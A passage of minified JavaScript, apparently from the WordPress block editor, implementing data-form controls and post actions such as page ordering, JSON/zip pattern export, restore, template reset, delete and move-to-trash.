0!==i?i:[]];return(0,L.jsx)(Uo.SelectControl,{label:a,value:l,options:d,onChange:c,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,hideLabelFromVision:o})},text:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){const{id:n,label:i,placeholder:r}=t,a=t.getValue({item:e}),l=(0,u.useCallback)((e=>s({[n]:e})),[n,s]);return(0,L.jsx)(Uo.TextControl,{label:i,placeholder:r,value:null!=a?a:"",onChange:l,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,hideLabelFromVision:o})}};function Sn(e){if(Object.keys(vn).includes(e))return vn[e];throw"Control "+e+" not found"}function wn(e){return e.map((e=>{var t,s,o,n;const i="integer"===(r=e.type)?bn:"text"===r?yn:"datetime"===r?xn:{sort:(e,t,s)=>"number"==typeof e&&"number"==typeof t?"asc"===s?e-t:t-e:"asc"===s?e.localeCompare(t):t.localeCompare(e),isValid:(e,t)=>{if(t?.elements){const s=t?.elements?.map((e=>e.value));if(!s.includes(e))return!1}return!0},Edit:()=>null};var r;const a=e.getValue||(l=e.id,({item:e})=>{const t=l.split(".");let s=e;for(const e of t)s=s.hasOwnProperty(e)?s[e]:void 0;return s});var l;const c=null!==(t=e.sort)&&void 0!==t?t:function(e,t,s){return i.sort(a({item:e}),a({item:t}),s)},d=null!==(s=e.isValid)&&void 0!==s?s:function(e,t){return i.isValid(a({item:e}),t)},u=function(e,t){return"function"==typeof e.Edit?e.Edit:"string"==typeof e.Edit?Sn(e.Edit):e.elements?Sn("select"):"string"==typeof t.Edit?Sn(t.Edit):t.Edit}(e,i),p=e.render||(e.elements?({item:t})=>{const s=a({item:t});return e?.elements?.find((e=>e.value===s))?.label||a({item:t})}:a);return{...e,label:e.label||e.id,header:e.header||e.label||e.id,getValue:a,render:p,sort:c,isValid:d,Edit:u,enableHiding:null===(o=e.enableHiding)||void 0===o||o,enableSorting:null===(n=e.enableSorting)||void 0===n||n}}))}function kn(e,t,s){return wn(t.filter((({id:e})=>!!s.fields?.includes(e)))).every((t=>t.isValid(e,{elements:t.elements})))}const Cn=(0,u.createContext)({fields:[]});function Pn({fields:e,children:t}){return(0,L.jsx)(Cn.Provider,{value:{fields:e},children:t})}const jn=Cn;function En(e){return void 0!==e.children}function Tn({title:e}){return(0,L.jsx)(Uo.__experimentalVStack,{className:"dataforms-layouts-regular__header",spacing:4,children:(0,L.jsxs)(Uo.__experimentalHStack,{alignment:"center",children:[(0,L.jsx)(Uo.__experimentalHeading,{level:2,size:13,children:e}),(0,L.jsx)(Uo.__experimentalSpacer,{})]})})}const Bn=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})});function In({title:e,onClose:t}){return(0,L.jsx)(Uo.__experimentalVStack,{className:"dataforms-layouts-panel__dropdown-header",spacing:4,children:(0,L.jsxs)(Uo.__experimentalHStack,{alignment:"center",children:[e&&(0,L.jsx)(Uo.__experimentalHeading,{level:2,size:13,children:e}),(0,L.jsx)(Uo.__experimentalSpacer,{}),t&&(0,L.jsx)(Uo.Button,{label:(0,fs.__)("Close"),icon:Bn,onClick:t,size:"small"})]})})}function Nn({fieldDefinition:e,popoverAnchor:t,labelPosition:s="side",data:o,onChange:n,field:i}){const r=En(i)?i.label:e?.label,a=(0,u.useMemo)((()=>En(i)?{type:"regular",fields:i.children.map((e=>"string"==typeof e?{id:e}:e))}:{type:"regular",fields:[{id:i.id}]}),[i]),l=(0,u.useMemo)((()=>({anchor:t,placement:"left-start",offset:36,shift:!0})),[t]);return(0,L.jsx)(Uo.Dropdown,{contentClassName:"dataforms-layouts-panel__field-dropdown",popoverProps:l,focusOnMount:!0,toggleProps:{size:"compact",variant:"tertiary",tooltipPosition:"middle left"},renderToggle:({isOpen:t,onToggle:n})=>(0,L.jsx)(Uo.Button,{className:"dataforms-layouts-panel__field-control",size:"compact",variant:["none","top"].includes(s)?"link":"tertiary","aria-expanded":t,"aria-label":(0,fs.sprintf)((0,fs._x)("Edit %s","field"),r),onClick:n,children:(0,L.jsx)(e.render,{item:o})}),renderContent:({onClose:e})=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(In,{title:r,onClose:e}),(0,L.jsx)(An,{data:o,form:a,onChange:n,children:(e,t)=>{var s;return(0,L.jsx)(e,{data:o,field:t,onChange:n,hideLabelFromVision:(null!==(s=a?.fields)&&void 0!==s?s:[]).length<2},t.id)}})]})})}const Dn=[{type:"regular",component:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){var n;const{fields:i}=(0,u.useContext)(jn),r=(0,u.useMemo)((()=>En(t)?{fields:t.children.map((e=>"string"==typeof e?{id:e}:e)),type:"regular"}:{type:"regular",fields:[]}),[t]);if(En(t))return(0,L.jsxs)(L.Fragment,{children:[!o&&t.label&&(0,L.jsx)(Tn,{title:t.label}),(0,L.jsx)(An,{data:e,form:r,onChange:s})]});const a=null!==(n=t.labelPosition)&&void 0!==n?n:"top",l=i.find((e=>e.id===t.id));return l?"side"===a?(0,L.jsxs)(Uo.__experimentalHStack,{className:"dataforms-layouts-regular__field",children:[(0,L.jsx)("div",{className:"dataforms-layouts-regular__field-label",children:l.label}),(0,L.jsx)("div",{className:"dataforms-layouts-regular__field-control",children:(0,L.jsx)(l.Edit,{data:e,field:l,onChange:s,hideLabelFromVision:!0},l.id)})]}):(0,L.jsx)("div",{className:"dataforms-layouts-regular__field",children:(0,L.jsx)(l.Edit,{data:e,field:l,onChange:s,hideLabelFromVision:"none"===a||o})}):null}},{type:"panel",component:function({data:e,field:t,onChange:s}){var o;const{fields:n}=(0,u.useContext)(jn),i=n.find((e=>{if(En(t)){const s=t.children.filter((e=>"string"==typeof e||!En(e))),o="string"==typeof s[0]?s[0]:s[0].id;return e.id===o}return e.id===t.id})),r=null!==(o=t.labelPosition)&&void 0!==o?o:"side",[a,l]=(0,u.useState)(null);if(!i)return null;const c=En(t)?t.label:i?.label;return"top"===r?(0,L.jsxs)(Uo.__experimentalVStack,{className:"dataforms-layouts-panel__field",spacing:0,children:[(0,L.jsx)("div",{className:"dataforms-layouts-panel__field-label",style:{paddingBottom:0},children:c}),(0,L.jsx)("div",{className:"dataforms-layouts-panel__field-control",children:(0,L.jsx)(Nn,{field:t,popoverAnchor:a,fieldDefinition:i,data:e,onChange:s,labelPosition:r})})]}):"none"===r?(0,L.jsx)("div",{className:"dataforms-layouts-panel__field",children:(0,L.jsx)(Nn,{field:t,popoverAnchor:a,fieldDefinition:i,data:e,onChange:s,labelPosition:r})}):(0,L.jsxs)(Uo.__experimentalHStack,{ref:l,className:"dataforms-layouts-panel__field",children:[(0,L.jsx)("div",{className:"dataforms-layouts-panel__field-label",children:c}),(0,L.jsx)("div",{className:"dataforms-layouts-panel__field-control",children:(0,L.jsx)(Nn,{field:t,popoverAnchor:a,fieldDefinition:i,data:e,onChange:s,labelPosition:r})})]})}}];function An({data:e,form:t,onChange:s,children:o}){const{fields:n}=(0,u.useContext)(jn);const i=(0,u.useMemo)((()=>function(e){var t,s,o;let n="regular";["regular","panel"].includes(null!==(t=e.type)&&void 0!==t?t:"")&&(n=e.type);const i=null!==(s=e.labelPosition)&&void 0!==s?s:"regular"===n?"top":"side";return(null!==(o=e.fields)&&void 0!==o?o:[]).map((e=>{var t,s;if("string"==typeof e)return{id:e,layout:n,labelPosition:i};const o=null!==(t=e.layout)&&void 0!==t?t:n,r=null!==(s=e.labelPosition)&&void 0!==s?s:"regular"===o?"top":"side";return{...e,layout:o,labelPosition:r}}))}(t)),[t]);return(0,L.jsx)(Uo.__experimentalVStack,{spacing:2,children:i.map((t=>{const i=(r=t.layout,Dn.find((e=>e.type===r)))?.component;var r;if(!i)return null;const a=En(t)?void 0:function(e){const t="string"==typeof e?e:e.id;return n.find((e=>e.id===t))}(t);return a&&a.isVisible&&!a.isVisible(e)?null:o?o(i,t):(0,L.jsx)(i,{data:e,field:t,onChange:s},t.id)}))})}function Rn({data:e,form:t,fields:s,onChange:o}){const n=(0,u.useMemo)((()=>wn(s)),[s]);return t.fields?(0,L.jsx)(Pn,{fields:n,children:(0,L.jsx)(An,{data:e,form:t,onChange:o})}):null}const Mn=[{id:"menu_order",type:"integer",label:(0,fs.__)("Order"),description:(0,fs.__)("Determines the order of pages.")}],Ln={fields:["menu_order"]};const On={id:"order-pages",label:(0,fs.__)("Order"),isEligible:({status:e})=>"trash"!==e,RenderModal:function({items:e,closeModal:t,onActionPerformed:s}){const[o,n]=(0,u.useState)(e[0]),i=o.menu_order,{editEntityRecord:r,saveEditedEntityRecord:a}=(0,c.useDispatch)(d.store),{createSuccessNotice:l,createErrorNotice:p}=(0,c.useDispatch)(_s.store),m=!kn(o,Mn,Ln);return(0,L.jsx)("form",{onSubmit:async function(n){if(n.preventDefault(),kn(o,Mn,Ln))try{await r("postType",o.type,o.id,{menu_order:i}),t?.(),await a("postType",o.type,o.id,{throwOnError:!0}),l((0,fs.__)("Order updated."),{type:"snackbar"}),s?.(e)}catch(e){const t=e,s=t.message&&"unknown_error"!==t.code?t.message:(0,fs.__)("An error occurred while updating the order");p(s,{type:"snackbar"})}},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"5",children:[(0,L.jsx)("div",{children:(0,fs.__)("Determines the order of pages. Pages with the same order value are sorted alphabetically. Negative order values are supported.")}),(0,L.jsx)(Rn,{data:o,fields:Mn,form:Ln,onChange:e=>n({...o,...e})}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{t?.()},children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",accessibleWhenDisabled:!0,disabled:m,children:(0,fs.__)("Save")})]})]})})}},Fn=On;"stream"in Blob.prototype||Object.defineProperty(Blob.prototype,"stream",{value(){return new Response(this).body}}),"setBigUint64"in DataView.prototype||Object.defineProperty(DataView.prototype,"setBigUint64",{value(e,t,s){const o=Number(0xffffffffn&t),n=Number(t>>32n);this.setUint32(e+(s?0:4),o,s),this.setUint32(e+(s?4:0),n,s)}});var Vn=e=>new DataView(new ArrayBuffer(e)),zn=e=>new Uint8Array(e.buffer||e),Un=e=>(new TextEncoder).encode(String(e)),Hn=e=>Math.min(4294967295,Number(e)),Gn=e=>Math.min(65535,Number(e));function $n(e,t,s){void 0===t||t instanceof Date||(t=new Date(t));const o=void 0!==e;if(s||(s=o?436:509),e instanceof File)return{isFile:o,t:t||new Date(e.lastModified),bytes:e.stream(),mode:s};if(e instanceof Response)return{isFile:o,t:t||new Date(e.headers.get("Last-Modified")||Date.now()),bytes:e.body,mode:s};if(void 0===t)t=new Date;else if(isNaN(t))throw new Error("Invalid modification date.");if(!o)return{isFile:o,t,mode:s};if("string"==typeof e)return{isFile:o,t,bytes:Un(e),mode:s};if(e instanceof Blob)return{isFile:o,t,bytes:e.stream(),mode:s};if(e instanceof Uint8Array||e instanceof ReadableStream)return{isFile:o,t,bytes:e,mode:s};if(e instanceof ArrayBuffer||ArrayBuffer.isView(e))return{isFile:o,t,bytes:zn(e),mode:s};if(Symbol.asyncIterator in e)return{isFile:o,t,bytes:Wn(e[Symbol.asyncIterator]()),mode:s};throw new TypeError("Unsupported input format.")}function Wn(e,t=e){return new ReadableStream({async pull(t){let s=0;for(;t.desiredSize>s;){const o=await e.next();if(!o.value){t.close();break}{const e=Zn(o.value);t.enqueue(e),s+=e.byteLength}}},cancel(e){t.throw?.(e)}})}function Zn(e){return"string"==typeof e?Un(e):e instanceof Uint8Array?e:zn(e)}function Yn(e,t,s){let[o,n]=function(e){return e?e instanceof Uint8Array?[e,1]:ArrayBuffer.isView(e)||e instanceof ArrayBuffer?[zn(e),1]:[Un(e),0]:[void 0,0]}(t);if(e instanceof File)return{i:qn(o||Un(e.name)),o:BigInt(e.size),u:n};if(e instanceof Response){const t=e.headers.get("content-disposition"),i=t&&t.match(/;\s*filename\*?\s*=\s*(?:UTF-\d+''|)["']?([^;"'\r\n]*)["']?(?:;|$)/i),r=i&&i[1]||e.url&&new URL(e.url).pathname.split("/").findLast(Boolean),a=r&&decodeURIComponent(r),l=s||+e.headers.get("content-length");return{i:qn(o||Un(a)),o:BigInt(l),u:n}}return o=qn(o,void 0!==e||void 0!==s),"string"==typeof e?{i:o,o:BigInt(Un(e).length),u:n}:e instanceof Blob?{i:o,o:BigInt(e.size),u:n}:e instanceof ArrayBuffer||ArrayBuffer.isView(e)?{i:o,o:BigInt(e.byteLength),u:n}:{i:o,o:Kn(e,s),u:n}}function Kn(e,t){return t>-1?BigInt(t):e?void 0:0n}function qn(e,t=1){if(!e||e.every((e=>47===e)))throw new Error("The file must have a name.");if(t)for(;47===e[e.length-1];)e=e.subarray(0,-1);else 47!==e[e.length-1]&&(e=new Uint8Array([...e,47]));return e}var Qn=new Uint32Array(256);for(let e=0;e<256;++e){let t=e;for(let e=0;e<8;++e)t=t>>>1^(1&t&&3988292384);Qn[e]=t}function Xn(e,t=0){t=~t;for(var s=0,o=e.length;s<o;s++)t=t>>>8^Qn[255&t^e[s]];return~t>>>0}function Jn(e,t,s=0){const o=e.getSeconds()>>1|e.getMinutes()<<5|e.getHours()<<11,n=e.getDate()|e.getMonth()+1<<5|e.getFullYear()-1980<<9;t.setUint16(s,o,1),t.setUint16(s+2,n,1)}function ei({i:e,u:t},s){return 8*(!t||(s??function(e){try{ti.decode(e)}catch{return 0}return 1}(e)))}var ti=new TextDecoder("utf8",{fatal:1});function si(e,t=0){const s=Vn(30);return s.setUint32(0,1347093252),s.setUint32(4,754976768|t),Jn(e.t,s,10),s.setUint16(26,e.i.length,1),zn(s)}async function*oi(e){let{bytes:t}=e;if("then"in t&&(t=await t),t instanceof Uint8Array)yield t,e.l=Xn(t,0),e.o=BigInt(t.length);else{e.o=0n;const s=t.getReader();for(;;){const{value:t,done:o}=await s.read();if(o)break;e.l=Xn(t,e.l),e.o+=BigInt(t.length),yield t}}}function ni(e,t){const s=Vn(16+(t?8:0));return s.setUint32(0,1347094280),s.setUint32(4,e.isFile?e.l:0,1),t?(s.setBigUint64(8,e.o,1),s.setBigUint64(16,e.o,1)):(s.setUint32(8,Hn(e.o),1),s.setUint32(12,Hn(e.o),1)),zn(s)}function ii(e,t,s=0,o=0){const n=Vn(46);return n.setUint32(0,1347092738),n.setUint32(4,755182848),n.setUint16(8,2048|s),Jn(e.t,n,12),n.setUint32(16,e.isFile?e.l:0,1),n.setUint32(20,Hn(e.o),1),n.setUint32(24,Hn(e.o),1),n.setUint16(28,e.i.length,1),n.setUint16(30,o,1),n.setUint16(40,e.mode|(e.isFile?32768:16384),1),n.setUint32(42,Hn(t),1),zn(n)}function ri(e,t,s){const o=Vn(s);return o.setUint16(0,1,1),o.setUint16(2,s-4,1),16&s&&(o.setBigUint64(4,e.o,1),o.setBigUint64(12,e.o,1)),o.setBigUint64(s-8,t,1),zn(o)}function ai(e){return e instanceof File||e instanceof Response?[[e],[e]]:[[e.input,e.name,e.size],[e.input,e.lastModified,e.mode]]}function li(e,t={}){const s={"Content-Type":"application/zip","Content-Disposition":"attachment"};return("bigint"==typeof t.length||Number.isInteger(t.length))&&t.length>0&&(s["Content-Length"]=String(t.length)),t.metadata&&(s["Content-Length"]=String((e=>function(e){let t=BigInt(22),s=0n,o=0;for(const n of e){if(!n.i)throw new Error("Every file must have a non-empty name.");if(void 0===n.o)throw new Error(`Missing size for file "${(new TextDecoder).decode(n.i)}".`);const e=n.o>=0xffffffffn,i=s>=0xffffffffn;s+=BigInt(46+n.i.length+(e&&8))+n.o,t+=BigInt(n.i.length+46+(12*i|28*e)),o||(o=e)}return(o||s>=0xffffffffn)&&(t+=BigInt(76)),t+s}(function*(e){for(const t of e)yield Yn(...ai(t)[0])}(e)))(t.metadata))),new Response(ci(e,t),{headers:s})}function ci(e,t={}){const s=function(e){const t=e[Symbol.iterator in e?Symbol.iterator:Symbol.asyncIterator]();return{async next(){const e=await t.next();if(e.done)return e;const[s,o]=ai(e.value);return{done:0,value:Object.assign($n(...o),Yn(...s))}},throw:t.throw?.bind(t),[Symbol.asyncIterator](){return this}}}(e);return Wn(async function*(e,t){const s=[];let o=0n,n=0n,i=0;for await(const r of e){const e=ei(r,t.buffersAreUTF8);yield si(r,e),yield new Uint8Array(r.i),r.isFile&&(yield*oi(r));const a=r.o>=0xffffffffn,l=12*(o>=0xffffffffn)|28*a;yield ni(r,a),s.push(ii(r,o,e,l)),s.push(r.i),l&&s.push(ri(r,o,l)),a&&(o+=8n),n++,o+=BigInt(46+r.i.length)+r.o,i||(i=a)}let r=0n;for(const e of s)yield e,r+=BigInt(e.length);if(i||o>=0xffffffffn){const e=Vn(76);e.setUint32(0,1347094022),e.setBigUint64(4,BigInt(44),1),e.setUint32(12,755182848),e.setBigUint64(24,n,1),e.setBigUint64(32,n,1),e.setBigUint64(40,r,1),e.setBigUint64(48,o,1),e.setUint32(56,1347094023),e.setBigUint64(64,o+r,1),e.setUint32(72,1,1),yield zn(e)}const a=Vn(22);a.setUint32(0,1347093766),a.setUint16(8,Gn(n),1),a.setUint16(10,Gn(n),1),a.setUint32(12,Hn(r),1),a.setUint32(16,Hn(o),1),yield zn(a)}(s,t),s)}const di=window.wp.blob,ui=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z"})});function pi(e){return JSON.stringify({__file:e.type,title:on(e),content:"string"==typeof e.content?e.content:e.content?.raw,syncStatus:e.wp_pattern_sync_status},null,2)}const mi={id:"export-pattern",label:(0,fs.__)("Export as JSON"),icon:ui,supportsBulk:!0,isEligible:e=>"wp_block"===e.type,callback:async e=>{if(1===e.length)return(0,di.downloadBlob)(`${qo(on(e[0])||e[0].slug)}.json`,pi(e[0]),"application/json");const t={},s=e.map((e=>{const s=qo(on(e)||e.slug);return t[s]=(t[s]||0)+1,{name:s+(t[s]>1?"-"+(t[s]-1):"")+".json",lastModified:new Date,input:pi(e)}}));return(0,di.downloadBlob)((0,fs.__)("patterns-export")+".zip",await li(s).blob(),"application/zip")}},hi=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z"})}),gi={id:"restore",label:(0,fs.__)("Restore"),isPrimary:!0,icon:hi,supportsBulk:!0,isEligible:e=>!sn(e)&&"wp_block"!==e.type&&"trash"===e.status&&e.permissions?.update,async callback(e,{registry:t,onActionPerformed:s}){const{createSuccessNotice:o,createErrorNotice:n}=t.dispatch(_s.store),{editEntityRecord:i,saveEditedEntityRecord:r}=t.dispatch(d.store);await Promise.allSettled(e.map((e=>i("postType",e.type,e.id,{status:"draft"}))));const a=await Promise.allSettled(e.map((e=>r("postType",e.type,e.id,{throwOnError:!0}))));if(a.every((({status:e})=>"fulfilled"===e))){let t;t=1===e.length?(0,fs.sprintf)((0,fs.__)('"%s" has been restored.'),on(e[0])):"page"===e[0].type?(0,fs.sprintf)((0,fs.__)("%d pages have been restored."),e.length):(0,fs.sprintf)((0,fs.__)("%d posts have been restored."),e.length),o(t,{type:"snackbar",id:"restore-post-action"}),s&&s(e)}else{let e;if(1===a.length){const t=a[0];e=t.reason?.message?t.reason.message:(0,fs.__)("An error occurred while restoring the post.")}else{const t=new Set,s=a.filter((({status:e})=>"rejected"===e));for(const e of s){const s=e;s.reason?.message&&t.add(s.reason.message)}e=0===t.size?(0,fs.__)("An error occurred while restoring the posts."):1===t.size?(0,fs.sprintf)((0,fs.__)("An error occurred while restoring the posts: %s"),[...t][0]):(0,fs.sprintf)((0,fs.__)("Some errors occurred while restoring the posts: %s"),[...t].join(","))}n(e,{type:"snackbar"})}}},_i=async(e,{allowUndo:t=!0}={})=>{const s="edit-site-template-reverted";var o;if((0,c.dispatch)(_s.store).removeNotice(s),(o=e)&&"custom"===o.source&&(Boolean(o?.plugin)||o?.has_theme_file))try{const o=(0,c.select)(d.store).getEntityConfig("postType",e.type);if(!o)return void(0,c.dispatch)(_s.store).createErrorNotice((0,fs.__)("The editor has encountered an unexpected error. Please reload."),{type:"snackbar"});const n=(0,v.addQueryArgs)(`${o.baseURL}/${e.id}`,{context:"edit",source:e.origin}),i=await gs()({path:n});if(!i)return void(0,c.dispatch)(_s.store).createErrorNotice((0,fs.__)("The editor has encountered an unexpected error. Please reload."),{type:"snackbar"});const r=({blocks:e=[]})=>(0,y.__unstableSerializeAndClean)(e),a=(0,c.select)(d.store).getEditedEntityRecord("postType",e.type,e.id);(0,c.dispatch)(d.store).editEntityRecord("postType",e.type,e.id,{content:r,blocks:a.blocks,source:"custom"},{undoIgnore:!0});const l=(0,y.parse)(i?.content?.raw);if((0,c.dispatch)(d.store).editEntityRecord("postType",e.type,i.id,{content:r,blocks:l,source:"theme"}),t){const t=()=>{(0,c.dispatch)(d.store).editEntityRecord("postType",e.type,a.id,{content:r,blocks:a.blocks,source:"custom"})};(0,c.dispatch)(_s.store).createSuccessNotice((0,fs.__)("Template reset."),{type:"snackbar",id:s,actions:[{label:(0,fs.__)("Undo"),onClick:t}]})}}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,fs.__)("Template revert failed. Please reload.");(0,c.dispatch)(_s.store).createErrorNotice(t,{type:"snackbar"})}else(0,c.dispatch)(_s.store).createErrorNotice((0,fs.__)("This template is not revertable."),{type:"snackbar"})},fi={id:"reset-post",label:(0,fs.__)("Reset"),isEligible:e=>sn(e)&&"custom"===e?.source&&(Boolean("wp_template"===e.type&&e?.plugin)||e?.has_theme_file),icon:hi,supportsBulk:!0,hideModalHeader:!0,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=>{const[o,n]=(0,u.useState)(!1),{saveEditedEntityRecord:i}=(0,c.useDispatch)(d.store),{createSuccessNotice:r,createErrorNotice:a}=(0,c.useDispatch)(_s.store);return(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"5",children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)("Reset to default and clear all customizations?")}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:t,disabled:o,accessibleWhenDisabled:!0,children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:async()=>{n(!0),await(async()=>{try{for(const t of e)await _i(t,{allowUndo:!1}),await i("postType",t.type,t.id);r(e.length>1?(0,fs.sprintf)((0,fs.__)("%s items reset."),e.length):(0,fs.sprintf)((0,fs.__)('"%s" reset.'),on(e[0])),{type:"snackbar",id:"revert-template-action"})}catch(t){let s;s="wp_template"===e[0].type?1===e.length?(0,fs.__)("An error occurred while reverting the template."):(0,fs.__)("An error occurred while reverting the templates."):1===e.length?(0,fs.__)("An error occurred while reverting the template part."):(0,fs.__)("An error occurred while reverting the template parts.");const o=t,n=o.message&&"unknown_error"!==o.code?o.message:s;a(n,{type:"snackbar"})}})(),s?.(e),n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,children:(0,fs.__)("Reset")})]})]})}},bi=fi,yi=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z"})});function xi(e){const t=new Set;if(1===e.length){const s=e[0];s.reason?.message&&t.add(s.reason.message)}else{const s=e.filter((({status:e})=>"rejected"===e));for(const e of s){const s=e;s.reason?.message&&t.add(s.reason.message)}}return t}const{PATTERN_TYPES:vi}=dn(ln.privateApis),Si={id:"delete-post",label:(0,fs.__)("Delete"),isPrimary:!0,icon:yi,isEligible:e=>sn(e)?nn(e):e.type===vi.user,supportsBulk:!0,hideModalHeader:!0,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=>{const[o,n]=(0,u.useState)(!1),i=e.every((e=>sn(e)&&e?.has_theme_file));return(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"5",children:[(0,L.jsx)(Uo.__experimentalText,{children:e.length>1?(0,fs.sprintf)((0,fs._n)("Delete %d item?","Delete %d items?",e.length),e.length):(0,fs.sprintf)((0,fs._x)('Delete "%s"?',"template part"),on(e[0]))}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{variant:"tertiary",onClick:t,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{variant:"primary",onClick:async()=>{n(!0);const o={success:{messages:{getMessage:e=>i?(0,fs.sprintf)((0,fs.__)('"%s" reset.'),(0,Lo.decodeEntities)(on(e))):(0,fs.sprintf)((0,fs._x)('"%s" deleted.',"template part"),(0,Lo.decodeEntities)(on(e))),getBatchMessage:()=>i?(0,fs.__)("Items reset."):(0,fs.__)("Items deleted.")}},error:{messages:{getMessage:e=>1===e.size?[...e][0]:i?(0,fs.__)("An error occurred while reverting the item."):(0,fs.__)("An error occurred while deleting the item."),getBatchMessage:e=>0===e.size?i?(0,fs.__)("An error occurred while reverting the items."):(0,fs.__)("An error occurred while deleting the items."):1===e.size?i?(0,fs.sprintf)((0,fs.__)("An error occurred while reverting the items: %s"),[...e][0]):(0,fs.sprintf)((0,fs.__)("An error occurred while deleting the items: %s"),[...e][0]):i?(0,fs.sprintf)((0,fs.__)("Some errors occurred while reverting the items: %s"),[...e].join(",")):(0,fs.sprintf)((0,fs.__)("Some errors occurred while deleting the items: %s"),[...e].join(","))}}};await(async(e,t,s)=>{const{createSuccessNotice:o,createErrorNotice:n}=(0,c.dispatch)(_s.store),{deleteEntityRecord:i}=(0,c.dispatch)(d.store),r=await Promise.allSettled(e.map((e=>i("postType",e.type,e.id,{force:!0},{throwOnError:!0}))));if(r.every((({status:e})=>"fulfilled"===e))){var a;let n;n=1===r.length?t.success.messages.getMessage(e[0]):t.success.messages.getBatchMessage(e),o(n,{type:null!==(a=t.success.type)&&void 0!==a?a:"snackbar",id:t.success.id}),s.onActionPerformed?.(e)}else{var l;const e=xi(r);let o="";o=1===r.length?t.error.messages.getMessage(e):t.error.messages.getBatchMessage(e),n(o,{type:null!==(l=t.error.type)&&void 0!==l?l:"snackbar",id:t.error.id}),s.onActionError?.()}})(e,o,{onActionPerformed:s}),n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)("Delete")})]})]})}},wi=Si,ki={id:"move-to-trash",label:(0,fs.__)("Move to trash"),isPrimary:!0,icon:yi,isEligible:e=>!sn(e)&&"wp_block"!==e.type&&(!!e.status&&!["auto-draft","trash"].includes(e.status)&&e.permissions?.delete),supportsBulk:!0,hideModalHeader:!0,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=>{const[o,n]=(0,u.useState)(!1),{createSuccessNotice:i,createErrorNotice:r}=(0,c.useDispatch)(_s.store),{deleteEntityRecord:a}=(0,c.useDispatch)(d.store);return(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"5",children:[(0,L.jsx)(Uo.__experimentalText,{children:1===e.length?(0,fs.sprintf)((0,fs.__)('Are you sure you want to move "%s" to the trash?'),on(e[0])):(0,fs.sprintf)((0,fs._n)("Are you sure you want to move %d item to the trash ?","Are you sure you want to move %d items to the trash ?",e.length),e.length)}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:t,disabled:o,accessibleWhenDisabled:!0,children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:async()=>{n(!0);const o=await Promise.allSettled(e.map((e=>a("postType",e.type,e.id.toString(),{},{throwOnError:!0}))));if(o.every((({status:e})=>"fulfilled"===e))){let t;t=1===o.length?(0,fs.sprintf)((0,fs.__)('"%s" moved to the trash.'),on(e[0])):(0,fs.sprintf)((0,fs._n)("%s item moved to the trash.","%s items moved to the trash.",e.length),e.length),i(t,{type:"snackbar",id:"move-to-trash-action"})}else{let e;if(1===o.length){const t=o[0];e=t.reason?.message?t.reason.message:(0,fs.__)("An error occurred while moving the item to the trash.")}else{const t=new Set,s=o.filter((({status:e})=>"rejected"===e));for(const e of s){const s=e;s.reason?.message&&t.add(s.reason.message)}e=0===t.size?(0,fs.__)("An error occurred while moving the items to the 